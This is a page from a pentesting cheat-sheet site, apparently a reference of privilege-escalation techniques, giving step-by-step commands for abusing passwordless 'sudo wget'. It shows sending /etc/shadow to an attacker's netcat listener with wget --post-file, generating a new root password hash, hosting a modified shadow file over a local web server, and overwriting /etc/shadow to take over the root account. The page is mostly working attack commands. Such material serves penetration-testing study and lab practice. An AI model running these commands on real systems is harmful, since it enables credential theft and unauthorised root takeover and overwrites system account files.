Privilege Escalation

Ansible Playbook Privilege Escalation

Apache Conf Privilege Escalation

Bash eq Privilege Escalation

Buffer Overflow Privilege Escalation

Chrome Remote Debugger Pentesting

Doas Privilege Escalation

FireFox Credentials Dumping

Ghidra Debug Mode RCE

Gnuplot Privilege Escalation

LXC/LXD (Linux Container/Daemon) Privilege Escalation

Linux Privilege Escalation

OpenSSL Privilege Escalation

Pip Download Code Execution

PolKit Privilege Escalation

Python Eval Code Execution

Python Jails Escape

Python Privilege Escalation

Python Yaml Privilege Escalation

Ruby Privilege Escalation

Rust Privilege Escalation

SSSD Privilege Escalation

Shared Library Hijacking

Snapd Privilege Escalation

Sudo ClamAV Privilege Escalation

Sudo Curl Privilege Escalation

Sudo Dstat Privilege Escalation

Sudo Exiftool Privilege Escalation

Sudo Fail2ban Privilege Escalation

Sudo Fail2ban-Client Privilege Escalation

Sudo Git Privilege Escalation

Sudo Java Privilege Escalation

Sudo OpenVPN Privilege Escalation

Sudo Path Traversal Privilege Escalation

Sudo Privilege Escalation

Sudo Privilege Escalation by Overriding Shared Library

Sudo Reboot Privilege Escalation

Sudo Screen Privilege Escalation

Sudo Service Privilege Escalation

Sudo Shutdown, Poweroff Privilege Escalation

Sudo Systemctl Privilege Escalation

Sudo Tee Privilege Escalation

Sudo Umount Privilege Escalation

Sudo Vim Privilege Escalation

Sudo Wall Privilege Escalation

Sudo Wget Privilege Escalation

Sudoedit Privilege Escalation

Tar Wildcard Injection PrivEsc

Update-Motd Privilege Escalation

irb (Interactive Ruby Shell) Privilege Escalation

Sudo Wget Privilege Escalation

Last modified: 2023-02-05

The "sudo wget" command may be vulnerable to privilege escalation (PrivEsc).

Investigation

sudo -l

(root) NOPASSWD: /usr/bin/wget

If we can execute "wget" as root, we may be able to escalate privileges.

Modify /etc/shadow

Get "/etc/shadow" and generate a new hash passwd, then set it to the shadow file, next upload it.
That changes the root password.

1. Get the Content of /etc/shadow

To see the content of /etc/shadow, we can use netcat listener.
So First, start a listener in local machine.

nc -lvnp 4444

In target machine, display the contents of the "/etc/shadow" to the local machine using the following command.

sudo /usr/bin/wget --post-file=/etc/shadow <local-ip> 4444

We should see the content in our local machine via netcat listener.
Copy the content.

2. Create a New Shadow File

We create a new shadow file in local. The shadow file will be stored into the target /etc/shadow later.

vim shadow.txt

In vim editor (or nano, vi, etc.), paste the content of /etc/shadow which we've copied in the previous section.

3. Create a New Root User Password and Add to Shadow File

Generate a new hash password for a new root user in local machine.

# -6: SHA512
openssl passwd -6 -salt 'salt' 'password'

Copy the generated password and paste it at the password of the root user into the "shadow.txt".
As a result, the contents of the "shadow.txt" should look like this:

root:$6$salt$IxDD...DCy.g.:18195:0:99999:7:::
...

4. Transfer the Content of the Shadow File

To put the shadow.txt into the target machine, start web server for hosting this file.

python3 -m http.server 8000

Download this file into the /etc/shadow in remote machine. To do that, we need to run it as root.

sudo /usr/bin/wget http://<local-ip>:8000/shadow.txt -O /etc/shadow

Finally, you can switch to the root user with the password we've created.

su root

Privilege Escalation

Post Exploitation

Backup

Container

Archive

Attack

Protocol

Management

Sudo Wget Privilege Escalation

Investigation

Modify /etc/shadow

1. Get the Content of /etc/shadow

2. Create a New Shadow File

3. Create a New Root User Password and Add to Shadow File

4. Transfer the Content of the Shadow File

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